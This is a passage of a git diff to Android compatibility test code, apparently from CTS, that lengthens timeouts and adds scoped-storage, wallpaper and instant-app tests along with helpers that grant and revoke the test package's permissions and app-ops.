- assertTrue(0 <= dump.getOomKb());
-
- assertTrue(0 < dump.getRestoreLimitKb());
- }
-
- private static void testProcessMemory(ProcessMemory pm) throws Exception {
- assertNotNull(pm);
-
- assertTrue(0 < pm.getPid());
- // On most Linux machines, the max pid value is 32768 (=2^15), but, it can be set to any
- // value up to 4194304 (=2^22) if necessary.
- assertTrue(4194304 >= pm.getPid());
-
- testHeapInfo(pm.getNativeHeap());
- testHeapInfo(pm.getDalvikHeap());
-
- for (ProcessMemory.MemoryInfo mi : pm.getOtherHeapsList()) {
- testMemoryInfo(mi);
- }
- testMemoryInfo(pm.getUnknownHeap());
- testHeapInfo(pm.getTotalHeap());
-
- for (ProcessMemory.MemoryInfo mi : pm.getDalvikDetailsList()) {
- testMemoryInfo(mi);
- }
-
- ProcessMemory.AppSummary as = pm.getAppSummary();
- assertTrue(0 <= as.getJavaHeapPssKb());
- assertTrue(0 <= as.getNativeHeapPssKb());
- assertTrue(0 <= as.getCodePssKb());
- assertTrue(0 <= as.getStackPssKb());
- assertTrue(0 <= as.getGraphicsPssKb());
- assertTrue(0 <= as.getPrivateOtherPssKb());
- assertTrue(0 <= as.getSystemPssKb());
- assertTrue(0 <= as.getTotalSwapPss());
- assertTrue(0 <= as.getTotalSwapKb());
- }
-
- private static void testMemoryInfo(ProcessMemory.MemoryInfo mi) throws Exception {
- assertNotNull(mi);
-
- assertTrue(0 <= mi.getTotalPssKb());
- assertTrue(0 <= mi.getCleanPssKb());
- assertTrue(0 <= mi.getSharedDirtyKb());
- assertTrue(0 <= mi.getPrivateDirtyKb());
- assertTrue(0 <= mi.getSharedCleanKb());
- assertTrue(0 <= mi.getPrivateCleanKb());
- assertTrue(0 <= mi.getDirtySwapKb());
- assertTrue(0 <= mi.getDirtySwapPssKb());
- }
-
- private static void testHeapInfo(ProcessMemory.HeapInfo hi) throws Exception {
- assertNotNull(hi);
-
- testMemoryInfo(hi.getMemInfo());
- assertTrue(0 <= hi.getHeapSizeKb());
- assertTrue(0 <= hi.getHeapAllocKb());
- assertTrue(0 <= hi.getHeapFreeKb());
- }
-
- private static void testAppData(AppData ad) throws Exception {
- assertNotNull(ad);
-
- testProcessMemory(ad.getProcessMemory());
-
- AppData.ObjectStats os = ad.getObjects();
- assertTrue(0 <= os.getViewInstanceCount());
- assertTrue(0 <= os.getViewRootInstanceCount());
- assertTrue(0 <= os.getAppContextInstanceCount());
- assertTrue(0 <= os.getActivityInstanceCount());
- assertTrue(0 <= os.getGlobalAssetCount());
- assertTrue(0 <= os.getGlobalAssetManagerCount());
- assertTrue(0 <= os.getLocalBinderObjectCount());
- assertTrue(0 <= os.getProxyBinderObjectCount());
- assertTrue(0 <= os.getParcelMemoryKb());
- assertTrue(0 <= os.getParcelCount());
- assertTrue(0 <= os.getBinderObjectDeathCount());
- assertTrue(0 <= os.getOpenSslSocketCount());
- assertTrue(0 <= os.getWebviewInstanceCount());
-
- AppData.SqlStats ss = ad.getSql();
- assertTrue(0 <= ss.getMemoryUsedKb());
- assertTrue(0 <= ss.getPagecacheOverflowKb());
- assertTrue(0 <= ss.getMallocSizeKb());
- for (AppData.SqlStats.Database d : ss.getDatabasesList()) {
- assertTrue(0 <= d.getPageSize());
- assertTrue(0 <= d.getDbSize());
- assertTrue(0 <= d.getLookasideB());
- }
- }
-
- private static void testMemItem(MemItem mi) throws Exception {
- assertNotNull(mi);
-
- assertTrue(0 <= mi.getPssKb());
- assertTrue(0 <= mi.getSwapPssKb());
-
- for (MemItem smi : mi.getSubItemsList()) {
- testMemItem(smi);
- }
- }
-}
diff --git a/hostsidetests/incrementalinstall/app/Android.bp b/hostsidetests/incrementalinstall/app/Android.bp
index 483011e..85a8be1 100644
--- a/hostsidetests/incrementalinstall/app/Android.bp
+++ b/hostsidetests/incrementalinstall/app/Android.bp
@@ -33,6 +33,10 @@
export_package_resources: true,
aapt_include_all_resources: true,
manifest: "AndroidManifestV1.xml",
+
+ // This flag allow the native lib to be compressed in the apk or associated split apk, and
+ // needs to be extracted by the installer instead of calling directly into the apk.
+ use_embedded_native_libs: false,
}
// v2 implementation of test app built with v1 manifest for zero version update test.
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 7738e31..d508a1d 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -62,7 +62,7 @@
@RunWith(AndroidJUnit4.class)
public class InputMethodServiceDeviceTest {
- private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(7);
/** Test to check CtsInputMethod1 receives onCreate and onStartInput. */
@Test
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
index f3cd8a9..aa59959 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
@@ -83,6 +83,7 @@
}
private class TestNetworkCallback extends INetworkCallback.Stub {
+ private static final int TEST_CONNECT_TIMEOUT_MS = 30_000;
private static final int TEST_CALLBACK_TIMEOUT_MS = 5_000;
private final LinkedBlockingQueue<CallbackInfo> mCallbacks = new LinkedBlockingQueue<>();
@@ -131,7 +132,7 @@
}
public Network expectAvailableCallbackAndGetNetwork() {
- final CallbackInfo cb = nextCallback(TEST_CALLBACK_TIMEOUT_MS);
+ final CallbackInfo cb = nextCallback(TEST_CONNECT_TIMEOUT_MS);
if (cb.state != CallbackState.AVAILABLE) {
fail("Network is not available. Instead obtained the following callback :"
+ cb);
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index 26397ef..a451ea8 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -1016,7 +1016,8 @@
final Thread[] threads = new Thread[NUM_THREADS];
startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
new String[] {"0.0.0.0/0", "::/0"},
- "", "", null, null /* underlyingNetworks */, false /* isAlwaysMetered */);
+ "" /* allowedApplications */, "com.android.shell" /* disallowedApplications */,
+ null /* proxyInfo */, null /* underlyingNetworks */, false /* isAlwaysMetered */);
for (int i = 0; i < NUM_THREADS; i++) {
threads[i] = new Thread(() -> {
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index 5ef052ef..c9e25b0 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -28,8 +28,10 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
import android.content.Intent;
+import android.content.res.Resources;
import android.dynamicmime.testapp.BaseDynamicMimeTest;
import android.dynamicmime.testapp.assertions.MimeGroupAssertions;
import android.dynamicmime.testapp.commands.MimeGroupCommands;
@@ -52,10 +54,13 @@
@RunWith(AndroidJUnit4.class)
public class PreferredActivitiesTest extends BaseDynamicMimeTest {
+ private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
+ private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
+
private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
private static final BySelector RESOLVER_DIALOG = By.res("android:id/contentPanel");
- private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
private TestStrategy mTest;
@@ -66,6 +71,17 @@
@Before
public void setUp() {
Utils.installApk(APK_PREFERRED_APP);
+ assumeNavigationMode();
+ }
+
+ private void assumeNavigationMode() {
+ Resources res = context().getResources();
+ int navModeResId = res.getIdentifier(NAV_BAR_INTERACTION_MODE_RES_NAME, "integer",
+ "android");
+ int navMode = res.getInteger(navModeResId);
+
+ assumeTrue("Non-gesture navigation mode required",
+ navMode != NAV_BAR_INTERACTION_MODE_GESTURAL);
}
@After
@@ -281,7 +297,7 @@
private void chooseUseAlways() {
getUiDevice()
- .findObject(BUTTON_ALWAYS)
+ .wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT)
.click();
}
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 3e5096b..1a1a7f9 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -15,28 +15,28 @@
android_test_helper_app {
name: "CtsScopedStorageTestAppA",
manifest: "ScopedStorageTestHelper/TestAppA.xml",
- static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+ static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppB",
manifest: "ScopedStorageTestHelper/TestAppB.xml",
- static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+ static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppC",
manifest: "ScopedStorageTestHelper/TestAppC.xml",
- static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+ static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppCLegacy",
manifest: "ScopedStorageTestHelper/TestAppCLegacy.xml",
- static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+ static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
target_sdk_version: "28",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
@@ -46,9 +46,9 @@
name: "ScopedStorageTest",
manifest: "AndroidManifest.xml",
srcs: ["src/**/*.java"],
- static_libs: ["androidx.test.rules", "truth-prebuilt", "cts-scopedstorage-lib"],
+ static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
compile_multilib: "both",
- test_suites: ["general-tests", "mts"],
+ test_suites: ["general-tests", "mts", "cts"],
sdk_version: "test_current",
java_resources: [
":CtsScopedStorageTestAppA",
@@ -61,9 +61,9 @@
name: "LegacyStorageTest",
manifest: "legacy/AndroidManifest.xml",
srcs: ["legacy/src/**/*.java"],
- static_libs: ["androidx.test.rules", "truth-prebuilt", "cts-scopedstorage-lib"],
+ static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
compile_multilib: "both",
- test_suites: ["general-tests", "mts"],
+ test_suites: ["general-tests", "mts", "cts"],
sdk_version: "test_current",
target_sdk_version: "29",
java_resources: [
@@ -74,17 +74,15 @@
java_test_host {
name: "CtsScopedStorageHostTest",
srcs: ["host/src/**/*.java"],
- libs: ["tradefed"],
- static_libs: ["testng"],
- test_suites: ["general-tests", "mts"],
+ libs: ["tradefed", "testng"],
+ test_suites: ["general-tests", "mts", "cts"],
test_config: "AndroidTest.xml",
}
java_test_host {
name: "CtsScopedStoragePublicVolumeHostTest",
srcs: ["host/src/**/*.java"],
- libs: ["tradefed"],
- static_libs: ["testng"],
+ libs: ["tradefed", "testng"],
test_suites: ["general-tests", "mts"],
test_config: "PublicVolumeTest.xml",
}
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 64599d8..43208ac 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -15,6 +15,10 @@
-->
<configuration description="External storage host test for legacy and scoped storage">
<option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="ScopedStorageTest.apk" />
@@ -23,6 +27,7 @@
<test class="com.android.tradefed.testtype.HostTest" >
<option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" />
<option name="class" value="android.scopedstorage.cts.host.ScopedStorageHostTest" />
+ <option name="class" value="android.scopedstorage.cts.host.ScopedStorageInstantAppHostTest" />
</test>
<object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index 2054907..0c8fd61 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -18,6 +18,7 @@
import static android.scopedstorage.cts.lib.RedactionTestHelper.EXIF_METADATA_QUERY;
import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
import static android.scopedstorage.cts.lib.TestUtils.CAN_READ_WRITE_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION;
@@ -27,10 +28,13 @@
import static android.scopedstorage.cts.lib.TestUtils.QUERY_TYPE;
import static android.scopedstorage.cts.lib.TestUtils.READDIR_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
import android.app.Activity;
import android.content.Intent;
+import android.content.ContentValues;
import android.os.Bundle;
+import android.provider.MediaStore;
import androidx.annotation.Nullable;
@@ -78,6 +82,9 @@
case EXIF_METADATA_QUERY:
returnIntent = sendMetadata(queryType);
break;
+ case CREATE_IMAGE_ENTRY_QUERY:
+ returnIntent = createImageEntry(queryType);
+ break;
case "null":
default:
throw new IllegalStateException(
@@ -125,6 +132,28 @@
}
}
+ private Intent createImageEntry(String queryType) throws Exception {
+ if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
+ final String path = getIntent().getStringExtra(INTENT_EXTRA_PATH);
+ final String relativePath = path.substring(0, path.lastIndexOf('/'));
+ final String name = path.substring(path.lastIndexOf('/') + 1);
+
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.Images.Media.MIME_TYPE, "image/jpeg");
+ values.put(MediaStore.Images.Media.RELATIVE_PATH, relativePath);
+ values.put(MediaStore.Images.Media.DISPLAY_NAME, name);
+
+ getContentResolver().insert(getImageContentUri(), values);
+
+ final Intent intent = new Intent(queryType);
+ intent.putExtra(queryType, true);
+ return intent;
+ } else {
+ throw new IllegalStateException(
+ CREATE_IMAGE_ENTRY_QUERY + ": File path not set from launcher app");
+ }
+ }
+
private Intent accessFile(String queryType) throws IOException {
if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
final String filePath = getIntent().getStringExtra(INTENT_EXTRA_PATH);
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 4ca2e12..8729f9b 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -20,6 +20,8 @@
import static org.junit.Assert.assertTrue;
+import android.platform.test.annotations.AppModeFull;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -32,6 +34,7 @@
* Runs the legacy file path access tests.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
public class LegacyStorageHostTest extends BaseHostJUnit4Test {
private boolean isExternalStorageSetup = false;
@@ -178,7 +181,22 @@
}
@Test
+ public void testCreateDoesntUpsert() throws Exception {
+ runDeviceTest("testCreateDoesntUpsert");
+ }
+
+ @Test
public void testCaseInsensitivity() throws Exception {
runDeviceTest("testAndroidDataObbCannotBeDeleted");
}
+
+ @Test
+ public void testLegacyAppUpdatingOwnershipOfExistingEntry() throws Exception {
+ runDeviceTest("testLegacyAppUpdatingOwnershipOfExistingEntry");
+ }
+
+ @Test
+ public void testInsertWithUnsupportedMimeType() throws Exception {
+ runDeviceTest("testInsertWithUnsupportedMimeType");
+ }
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
index 33e3e94..dbfa9fb 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
@@ -33,7 +33,8 @@
private void setupNewPublicVolume() throws Exception {
if (!mIsPublicVolumeSetup) {
- runDeviceTest("setupNewPublicVolume");
+ assertTrue(runDeviceTests("android.scopedstorage.cts",
+ "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
mIsPublicVolumeSetup = true;
}
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
index 8ed0101..c9bd65f 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
@@ -33,7 +33,8 @@
private void setupNewPublicVolume() throws Exception {
if (!mIsPublicVolumeSetup) {
- runDeviceTest("setupNewPublicVolume");
+ assertTrue(runDeviceTests("android.scopedstorage.cts",
+ "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
mIsPublicVolumeSetup = true;
}
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index 108b3e8..b47d4b8 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -18,8 +18,12 @@
import static org.junit.Assert.assertTrue;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
import org.junit.After;
import org.junit.Before;
@@ -30,6 +34,7 @@
* Runs the ScopedStorageTest tests.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
public class ScopedStorageHostTest extends BaseHostJUnit4Test {
private boolean mIsExternalStorageSetup = false;
@@ -43,6 +48,19 @@
}
+ /**
+ * Runs the given phase of ScopedStorageTest by calling into the device with {@code
+ * --no-isolated-storage} flag.
+ * Throws an exception if the test phase fails.
+ */
+ void runDeviceTestWithDisabledIsolatedStorage(String phase) throws Exception {
+ runDeviceTests(new DeviceTestRunOptions("android.scopedstorage.cts")
+ .setDevice(getDevice())
+ .setTestClassName("android.scopedstorage.cts.ScopedStorageTest")
+ .setTestMethodName(phase)
+ .setDisableIsolatedStorage(true));
+ }
+
String executeShellCommand(String cmd) throws Exception {
return getDevice().executeShellCommand(cmd);
}
@@ -108,6 +126,11 @@
}
@Test
+ public void testDeleteAlreadyUnlinkedFile() throws Exception {
+ runDeviceTest("testDeleteAlreadyUnlinkedFile");
+
+ }
+ @Test
public void testOpendirRestrictions() throws Exception {
runDeviceTest("testOpendirRestrictions");
}
@@ -166,6 +189,7 @@
runDeviceTest("testCreateUpperCaseDeleteLowerCase");
runDeviceTest("testCreateMixedCaseDeleteDifferentMixedCase");
runDeviceTest("testAndroidDataObbDoesNotForgetMount");
+ runDeviceTest("testCacheConsistencyForCaseInsensitivity");
}
@Test
@@ -237,27 +261,52 @@
@Test
public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
- runDeviceTest("testManageExternalStorageCanCreateFilesAnywhere");
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testManageExternalStorageCanCreateFilesAnywhere");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
}
@Test
public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
- runDeviceTest("testManageExternalStorageCanDeleteOtherAppsContents");
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testManageExternalStorageCanDeleteOtherAppsContents");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
}
@Test
public void testManageExternalStorageReaddir() throws Exception {
- runDeviceTest("testManageExternalStorageReaddir");
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testManageExternalStorageReaddir");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
}
@Test
public void testManageExternalStorageCanRenameOtherAppsContents() throws Exception {
- runDeviceTest("testManageExternalStorageCanRenameOtherAppsContents");
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testManageExternalStorageCanRenameOtherAppsContents");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
}
@Test
public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
- runDeviceTest("testManageExternalStorageCantReadWriteOtherAppExternalDir");
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testManageExternalStorageCantReadWriteOtherAppExternalDir");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
}
@Test
@@ -312,7 +361,12 @@
@Test
public void testManageExternalStorageQueryOtherAppsFile() throws Exception {
- runDeviceTest("testManageExternalStorageQueryOtherAppsFile");
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testManageExternalStorageQueryOtherAppsFile");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
}
@Test
@@ -351,6 +405,16 @@
}
@Test
+ public void testOpenOtherPendingFilesFromFuse() throws Exception {
+ grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+ try {
+ runDeviceTest("testOpenOtherPendingFilesFromFuse");
+ } finally {
+ revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+ }
+ }
+
+ @Test
public void testAccess_file() throws Exception {
grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
try {
@@ -382,6 +446,66 @@
}
}
+ @Test
+ public void testWallpaperApisNoPermission() throws Exception {
+ runDeviceTest("testWallpaperApisNoPermission");
+ }
+
+ @Test
+ public void testWallpaperApisReadExternalStorage() throws Exception {
+ grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+ try {
+ runDeviceTest("testWallpaperApisReadExternalStorage");
+ } finally {
+ revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+ }
+ }
+
+ @Test
+ public void testWallpaperApisManageExternalStorageAppOp() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testWallpaperApisManageExternalStorageAppOp");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
+ public void testWallpaperApisManageExternalStoragePrivileged() throws Exception {
+ runDeviceTest("testWallpaperApisManageExternalStoragePrivileged");
+ }
+
+ @Test
+ public void testNoIsolatedStorageInstrumentationFlag() throws Exception {
+ runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageCanCreateFilesAnywhere");
+ runDeviceTestWithDisabledIsolatedStorage(
+ "testNoIsolatedStorageCantReadWriteOtherAppExternalDir");
+ runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageStorageReaddir");
+ runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageQueryOtherAppsFile");
+
+ // Check that appop is revoked after instrumentation is over.
+ runDeviceTest("testCreateFileInAppExternalDir");
+ runDeviceTest("testCreateFileInOtherAppExternalDir");
+ runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
+ }
+
+ @Test
+ public void testRenameFromShell() throws Exception {
+ final ITestDevice device = getDevice();
+ final boolean isAdbRoot = device.isAdbRoot() ? true : false;
+ try {
+ if (isAdbRoot) {
+ device.disableAdbRoot();
+ }
+ runDeviceTest("testRenameFromShell");
+ } finally {
+ if (isAdbRoot) {
+ device.enableAdbRoot();
+ }
+ }
+ }
+
private void grantPermissions(String... perms) throws Exception {
for (String perm : perms) {
executeShellCommand("pm grant android.scopedstorage.cts " + perm);
@@ -393,4 +517,16 @@
executeShellCommand("pm revoke android.scopedstorage.cts " + perm);
}
}
+
+ private void allowAppOps(String... ops) throws Exception {
+ for (String op : ops) {
+ executeShellCommand("cmd appops set --uid android.scopedstorage.cts " + op + " allow");
+ }
+ }
+
+ private void denyAppOps(String... ops) throws Exception {
+ for (String op : ops) {
+ executeShellCommand("cmd appops set --uid android.scopedstorage.cts " + op + " deny");
+ }
+ }
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
new file mode 100644
index 0000000..c97b41f
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeInstant;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Runs the ScopedStorageTest tests for an instant app.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ScopedStorageInstantAppHostTest extends BaseHostJUnit4Test {
+ /**
+ * Runs the given phase of Test by calling into the device.
+ * Throws an exception if the test phase fails.
+ */
+ protected void runDeviceTest(String phase) throws Exception {
+ assertTrue(runDeviceTests("android.scopedstorage.cts",
+ "android.scopedstorage.cts.ScopedStorageTest", phase));
+ }
+
+ @Test
+ @AppModeInstant
+ public void testInstantAppsCantAccessExternalStorage() throws Exception {
+ runDeviceTest("testInstantAppsCantAccessExternalStorage");
+ }
+}
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 251f65a..4596cab 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -26,17 +26,23 @@
import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
import static android.scopedstorage.cts.lib.TestUtils.installApp;
import static android.scopedstorage.cts.lib.TestUtils.listAs;
+import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
